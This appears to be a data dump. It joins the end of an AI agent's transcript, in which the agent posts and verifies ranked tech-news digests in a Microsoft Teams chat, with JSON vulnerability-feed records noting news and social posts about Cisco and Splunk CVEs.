adoption or software-engineering workflows.\n\nAlchemy Teams With Visa on AI Agent Payment Stack \u2014 18/35 (2+2+5+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nBuilding reliable agentic AI systems \u2014 18/35 (2+2+5+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nEstonia\u2019s AI agent ID plan raises new questions about digital identity \u2014 18/35 (2+2+5+1+1+2+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nEU Commission picks EUROPA consortium led by Domyn to build open frontier AI model \u2014 18/35 (2+2+5+1+1+2+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nEvery AI Agent Is an Identity. Most Organizations Don't Treat Them That Way \u2014 18/35 (2+2+5+1+1+2+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nIdentity verification on Claude \u2014 18/35 (2+2+5+1+1+2+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nIntroducing Claude Agent for Jira \u2014 18/35 (2+2+5+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nSK Telecom wants to give every employee their own AI agent \u2014 18/35 (2+2+5+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nSupply-chain malware is evolving into self-propagating worms \u2014 18/35 (2+2+1+1+5+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104236216\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104236216\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104236216?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:16.216Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 10/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Agentic marketing AI startup Gradial grabs $65M in fresh funding](https://news.google.com/rss/articles/CBMingFBVV95cUxNNGdGWmxRT2t1ZHB6ckFtM3ZFajdrNDhCMEVEQXo4TUgwYTk5MUV5YmZxYllVTm80SWZnRjN4ci12V3NWUkdEREVTZjNmMHc0ZlNDNEs4cm8weS1QQjVLR3BvYmswdHlhb1gwekNhbm1taEo4VmwyQUF3dWFYX1g2NVJZMmE0NEc3SDI3ZXZxYm90MUVRdTVNR0ZWa01ydw?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Alchemy Teams With Visa on AI Agent Payment Stack](https://news.google.com/rss/articles/CBMikgFBVV95cUxPTV8xVG1zNG1uV0ViWjhVNWd6c2xGSlU3WlJyc1JST1liYkRKTmdiaGVpQy01d2lhSFR0ZVhQbFU0dm5lZThPN3R1SzhJdnp2ZVE1NWgtT2V0ZjRMdGwyUV9OTy12bFM1bWwtSUZmdmNsNnplOWtLbjRUaXN1VHRMaFJEdmluZ1ktR0lYRTdqdzRiZw?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[Building reliable agentic AI systems](https://martinfowler.com/articles/reliable-llm-bayer.html)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  4. **[Estonia\u2019s AI agent ID plan raises new questions about digital identity](https://news.google.com/rss/articles/CBMirAFBVV95cUxOMHYta1RnakwyNy1uVGV5dy1yQmxnVW9waS1KYzdhNlAwU2VjMFh6ZUZTQWxGUGxGNlUyZEZ6bjhoZFZRbUhGam5iT2NqWWVlR1lwUkFXemVhelJYNU1OalN4RmE1a1FUeElHYlUzbEw4dmw1YUxodzh3cUhxd3RQSXpQWGJ3Uy1sM0FpNWhCcF9tOUd1OWc1RDAwbF9LdHdieGRPc29HVW5XSWI1?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[EU Commission picks EUROPA consortium led by Domyn to build open frontier AI model](https://news.google.com/rss/articles/CBMi4wFBVV95cUxQdVZnUU9KLUh1UHljZkVCRXd2OVVVY3VKYThJNFJVdjhmVnJHXzIzWVdKZmlrdDlQN1pHOFlvbXdGTTdWcF91Zy1EZ1FXVEVfUlZaejN3NzRlcXBLTDU2b3lCUFVxdGxHU2tUdHV5clpQY0Y3TGpLU0ZBSUdMQ3hCLVdZaWNSMmRUZVRmZk9WcFFUWFhZUnZoeExnY0xOT19qYTVlb2pqdjVVQnRIU0tWUkVVNURfYUwySmlnY3VramtESHB5X2pEbVNuUFFxX0U2LVRXMDJhRkxYTWNmTTZpdDY3RQ?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  6. **[Every AI Agent Is an Identity. Most Organizations Don't Treat Them That Way](https://news.google.com/rss/articles/CBMivgFBVV95cUxNMkt6X0VhRnFma1dxX2dkcHBhYy1pMkM1Q29STXhrSU1TcGFXVEhUd1BOVVdqazVUOEpEUUZoTTVydENGRkEtNEpLT3N4QXlSanlQbFBTeXdERElFNXh6XzU5RExTSnROb1h0NlEwMHZHVkcyeTJRUlhYaUdnNG5KVTY0TUVwTUNjeDNhRjg4NUM1TEszUGNyWHkxa2xQdG1FY2xpd3YtMEJpQXlWREdTVUVWbXB0ZzlPbTRLWnJ3?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  7. **[Identity verification on Claude](https://support.claude.com/en/articles/14328960-identity-verification-on-claude)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  8. **[Introducing Claude Agent for Jira](https://news.google.com/rss/articles/CBMic0FVX3lxTE81RWxLeDdZZ0h3RHB4RU5ISFZYVjROTldWdnloRmloOXVNUXNvU0Eyc2xhQjVjNDNMclRDSTNhbUxlNlFMSzZnb0JiTWFRTE9iTU5CUF9YZHNBZURRaHZCQWd4SG1XWUpxdmV2eEVKOTBKTjg?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[SK Telecom wants to give every employee their own AI agent](https://news.google.com/rss/articles/CBMib0FVX3lxTFBxVWpKNDlrZ3loQV8tRFBIQ0cyTzZhUDMwcWtIVDlJZ0dLUjlUdGVDQnJGSVA4TDhRRzNvY21FNGdSaTN2RE84bXhkV0VaVWpfWTNsNTV4YU43c1AzdkdPelExREp3V0ViTFVEYUZGOA?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[Supply-chain malware is evolving into self-propagating worms](https://news.google.com/rss/articles/CBMif0FVX3lxTE1oeWhRV2tDMUNfejkyY0VhV0k3Nl9HSzg4QnNBMEFndDJOcGlSbmZ3ZXVRY3JoV3V5TlFVZmtyaGVZTDQwak9vSkIzbVpwVTdwc1BNMW1oME85NnFVLWRvaFA1bktqNGF0TkJxeUtNWk5fcVJnWjdXSjhLRm5XYVk?oc=5)** \u2014 **18/35** (2+2+1+1+5+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104236216?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104236216\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 10/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Agentic marketing AI startup Gradial grabs $65M in fresh funding](https://news.google.com/rss/articles/CBMingFBVV95cUxNNGdGWmxRT2t1ZHB6ckFtM3ZFajdrNDhCMEVEQXo4TUgwYTk5MUV5YmZxYllVTm80SWZnRjN4ci12V3NWUkdEREVTZjNmMHc0ZlNDNEs4cm8weS1QQjVLR3BvYmswdHlhb1gwekNhbm1taEo4VmwyQUF3dWFYX1g2NVJZMmE0NEc3SDI3ZXZxYm90MUVRdTVNR0ZWa01ydw?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Alchemy Teams With Visa on AI Agent Payment Stack](https://news.google.com/rss/articles/CBMikgFBVV95cUxPTV8xVG1zNG1uV0ViWjhVNWd6c2xGSlU3WlJyc1JST1liYkRKTmdiaGVpQy01d2lhSFR0ZVhQbFU0dm5lZThPN3R1SzhJdnp2ZVE1NWgtT2V0ZjRMdGwyUV9OTy12bFM1bWwtSUZmdmNsNnplOWtLbjRUaXN1VHRMaFJEdmluZ1ktR0lYRTdqdzRiZw?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[Building reliable agentic AI systems](https://martinfowler.com/articles/reliable-llm-bayer.html)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  4. **[Estonia\u2019s AI agent ID plan raises new questions about digital identity](https://news.google.com/rss/articles/CBMirAFBVV95cUxOMHYta1RnakwyNy1uVGV5dy1yQmxnVW9waS1KYzdhNlAwU2VjMFh6ZUZTQWxGUGxGNlUyZEZ6bjhoZFZRbUhGam5iT2NqWWVlR1lwUkFXemVhelJYNU1OalN4RmE1a1FUeElHYlUzbEw4dmw1YUxodzh3cUhxd3RQSXpQWGJ3Uy1sM0FpNWhCcF9tOUd1OWc1RDAwbF9LdHdieGRPc29HVW5XSWI1?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  5. **[EU Commission picks EUROPA consortium led by Domyn to build open frontier AI model](https://news.google.com/rss/articles/CBMi4wFBVV95cUxQdVZnUU9KLUh1UHljZkVCRXd2OVVVY3VKYThJNFJVdjhmVnJHXzIzWVdKZmlrdDlQN1pHOFlvbXdGTTdWcF91Zy1EZ1FXVEVfUlZaejN3NzRlcXBLTDU2b3lCUFVxdGxHU2tUdHV5clpQY0Y3TGpLU0ZBSUdMQ3hCLVdZaWNSMmRUZVRmZk9WcFFUWFhZUnZoeExnY0xOT19qYTVlb2pqdjVVQnRIU0tWUkVVNURfYUwySmlnY3VramtESHB5X2pEbVNuUFFxX0U2LVRXMDJhRkxYTWNmTTZpdDY3RQ?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  6. **[Every AI Agent Is an Identity. Most Organizations Don't Treat Them That Way](https://news.google.com/rss/articles/CBMivgFBVV95cUxNMkt6X0VhRnFma1dxX2dkcHBhYy1pMkM1Q29STXhrSU1TcGFXVEhUd1BOVVdqazVUOEpEUUZoTTVydENGRkEtNEpLT3N4QXlSanlQbFBTeXdERElFNXh6XzU5RExTSnROb1h0NlEwMHZHVkcyeTJRUlhYaUdnNG5KVTY0TUVwTUNjeDNhRjg4NUM1TEszUGNyWHkxa2xQdG1FY2xpd3YtMEJpQXlWREdTVUVWbXB0ZzlPbTRLWnJ3?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  7. **[Identity verification on Claude](https://support.claude.com/en/articles/14328960-identity-verification-on-claude)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  8. **[Introducing Claude Agent for Jira](https://news.google.com/rss/articles/CBMic0FVX3lxTE81RWxLeDdZZ0h3RHB4RU5ISFZYVjROTldWdnloRmloOXVNUXNvU0Eyc2xhQjVjNDNMclRDSTNhbUxlNlFMSzZnb0JiTWFRTE9iTU5CUF9YZHNBZURRaHZCQWd4SG1XWUpxdmV2eEVKOTBKTjg?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[SK Telecom wants to give every employee their own AI agent](https://news.google.com/rss/articles/CBMib0FVX3lxTFBxVWpKNDlrZ3loQV8tRFBIQ0cyTzZhUDMwcWtIVDlJZ0dLUjlUdGVDQnJGSVA4TDhRRzNvY21FNGdSaTN2RE84bXhkV0VaVWpfWTNsNTV4YU43c1AzdkdPelExREp3V0ViTFVEYUZGOA?oc=5)** \u2014 **18/35** (2+2+5+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[Supply-chain malware is evolving into self-propagating worms](https://news.google.com/rss/articles/CBMif0FVX3lxTE1oeWhRV2tDMUNfejkyY0VhV0k3Nl9HSzg4QnNBMEFndDJOcGlSbmZ3ZXVRY3JoV3V5TlFVZmtyaGVZTDQwak9vSkIzbVpwVTdwc1BNMW1oME85NnFVLWRvaFA1bktqNGF0TkJxeUtNWk5fcVJnWjdXSjhLRm5XYVk?oc=5)** \u2014 **18/35** (2+2+1+1+5+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104236216?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:16.216Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104236216?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> - Ran `$p='C:\\Users\\Jenishkumar\\.codex\\memories\\rollout_summaries\\2026-06-19T09-43-53-HHu2-chatreview_10x_repeat_news_digest_posting.md'; $i=0; Get-Content -LiteralPath $p | ForEach-Object { $i++; if($i -le 42){'{0}:{1}' -f $i,$_}}`\n>\n> \n\n\nCompleted all 10 additional news-summary runs and posted them separately to Microsoft Teams \u201cChatReview.\u201d\n\n### Completion summary\n\n- Ten new Teams posts created\n- 100 unique news items selected\u201410 ranked items per post\n- Expanded source sweep: 662 candidate articles from 333 publishers and authoritative/official sources\n- Publication window: June 18\u201322, 2026, within the requested seven-day range\n- Sources included Google News/RSS, Hacker News, official technology-company blogs, cloud vendors, cybersecurity publications, developer outlets, and major business/technology publications\n- Duplicate check included all 207 stories previously posted in ChatReview, plus duplicate checking across these ten new runs\n- Same-event articles from different sources were consolidated or excluded\n- All stories received seven individual 1\u20135 scores, a total `/35` score, links, and descriptions under 200 characters\n- All ten posts were fetched from Teams after posting and verified for the correct run number and ten-item content\n\n### Verified Teams posts\n\n1. [Additional Run 1/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104221337?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104221337`\n2. [Additional Run 2/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104222995?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104222995`\n3. [Additional Run 3/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104224889?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104224889`\n4. [Additional Run 4/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104226600?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104226600`\n5. [Additional Run 5/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104228237?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104228237`\n6. [Additional Run 6/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104229841?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104229841`\n7. [Additional Run 7/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104231427?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104231427`\n8. [Additional Run 8/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104233006?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104233006`\n9. [Additional Run 9/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104234561?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104234561`\n10. [Additional Run 10/10](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104236216?context=%7B%22contextType%22:%22chat%22%7D) \u2014 ID `1782104236216`\n\nThe ranked batch covers:\n\n- AI-agent security and coding-tool exploits\n- Google Cloud and government AI/cybersecurity partnerships\n- AI-development MCP tooling and model governance\n- AI infrastructure and sovereign-cloud initiatives\n- Secure GitHub workflows and software-supply-chain attacks\n- Quantum-computing infrastructure\n- Cloud/Kubernetes engineering updates\n- Enterprise AI adoption and governance research\n- New AI-agent platforms and organizational adoption\n- Developer-platform announcements, funding, and open-source/runtime developments\n", "creation_timestamp": "2026-06-22T05:05:44.000000Z"}, {"uuid": "0589fb98-b552-4894-b7d8-569028672389", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20267", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:05.142800Z"}, {"uuid": "ed15b561-dd89-4ebf-92b6-d91bea11864c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20272", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:16.115044Z"}, {"uuid": "77f20363-9d23-434c-8444-6968dd4d3368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20273", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:18.287320Z"}, {"uuid": "eeb62a1c-0b95-40e2-86ba-6cdb7d84856c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20263", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:01.924659Z"}, {"uuid": "3d5f787a-d0e2-4866-9aaa-3c5df329bd7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20270", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:11.727219Z"}, {"uuid": "0e517494-19ad-4c49-b888-8d8243796816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20308", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:22.981903Z"}, {"uuid": "60c836b5-97f1-4a96-a0c5-ee5445856fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mswme7rdmb22", "content": "\ud83d\udccc CVE-2026-20349 - A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Th... https://www.cyberhub.blog/cves/CVE-2026-20349", "creation_timestamp": "2026-08-13T02:37:06.289311Z"}, {"uuid": "4bdffcd7-0469-4c0b-b9c1-72f03d645c71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3moug4zikuj2k", "content": "Splunk Enterprise Vulnerability Exploited in Active\u00a0Attacks\n\nAttackers have already begun abusing a critical Splunk Enterprise vulnerability. Meanwhile, hundreds of open instances of the product remain reachable on the internet. So the window to patch is closing fast. What Is CVE-2026-20253? The\u2026", "creation_timestamp": "2026-06-22T07:59:36.422053Z"}, {"uuid": "0b03ef51-46de-4e98-97c1-32e18de332a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hackmag.com/post/3mouhtjvuj72u", "content": "\ud83d\udfe2 Cisco Patches Zero\u2011Day Vulnerability in SD\u2011WAN\n\n\ud83d\udde8\ufe0f Cisco specialists have released patches for vulnerability CVE-2026-20262 in Catalyst SD-WAN Manager (formerly SD-WAN vMa\u2026\n\n#news", "creation_timestamp": "2026-06-22T08:30:05.403601Z"}, {"uuid": "6e4de1d2-7de7-4af4-938a-917d8a608659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20272", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mswnzvkr4q24", "content": "\ud83d\udccc CVE-2026-20272 - As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehens... https://www.cyberhub.blog/cves/CVE-2026-20272", "creation_timestamp": "2026-08-13T03:07:07.221381Z"}, {"uuid": "21b4a320-d399-487f-abba-c92edbba72ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3mounjtr46k2q", "content": "Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE) labs.watchtowr.com/why-use-app-...", "creation_timestamp": "2026-06-22T10:12:04.015218Z"}, {"uuid": "1687ad32-927f-4c04-b658-b49cfd4cfbb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mswqs57zuu2q", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-20349) Cisco ASA and FTD Denial of Service via Remote Access SSL VPN\".\n\n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "creation_timestamp": "2026-08-13T03:56:27.996961Z"}, {"uuid": "e70d1ca3-d2c8-4fea-af6f-717b49f42ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cwealthsentinel.bsky.social/post/3mouqyqxyws2l", "content": "This week in cyber: a Cisco SD-WAN zero-day (CVE-2026-20245) is being exploited with no patch yet, and DragonForce is hiding C2 traffic inside Microsoft Teams. Attackers are living in the tools you trust. Full Top 5 \u2192", "creation_timestamp": "2026-06-22T11:14:04.668401Z"}, {"uuid": "091542f8-507e-4121-9bba-f25635c9c340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3moutld5gaj27", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-20262, CVE-2026-35273, CVE-2026-39813, CVE-2026-48558, CVE-2026-50656\nActors: Ransomware, Apt, Play\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-06-22T12:00:27.793297Z"}, {"uuid": "cb1fa2b7-3db1-4d19-81b0-c976135bb60d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3mouxjhs22k27", "content": "\ud83d\udea8 In this week\u2019s newsletter, we cover CVE-2026-20253, a critical authentication bypass vulnerability in Splunk Enterprise and Splunk Cloud Platform now in early exploitation. \n\nRead the full analysis and protect your systems \ud83d\udc49  www.crowdsec.net/vulntracking...", "creation_timestamp": "2026-06-22T13:10:00.236108Z"}, {"uuid": "9b893165-1bf2-4b3a-8df4-a1a87529ddc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3movomuqbyi2d", "content": "~Checkpoint~\nWeekly threat intel highlights FortiSandbox & Splunk zero-days, AI agent exploits, and major breaches at Texas Parks & Klue.\n-\nIOCs: CVE-2026-39813, CVE-2026-50656, CVE-2026-20253\n-\n#DataBreach #ThreatIntel #Vulnerabilities", "creation_timestamp": "2026-06-22T20:04:18.175861Z"}, {"uuid": "1f65f27f-731d-4c0f-bee1-d6797eb8f951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/ics_cert/1415", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0631\u0627\u0628\u0637 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0648\u0628 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0634\u0628\u06a9\u0647 Cisco Secure Firewall Management Center (\u06a9\u0647 \u0642\u0628\u0644\u0627\u064b Cisco Firepower Management Center \u0646\u0627\u0645\u06cc\u062f\u0647 \u0645\u06cc\u200c\u0634\u062f) \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0646\u0642\u0635 \u062f\u0631 \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645 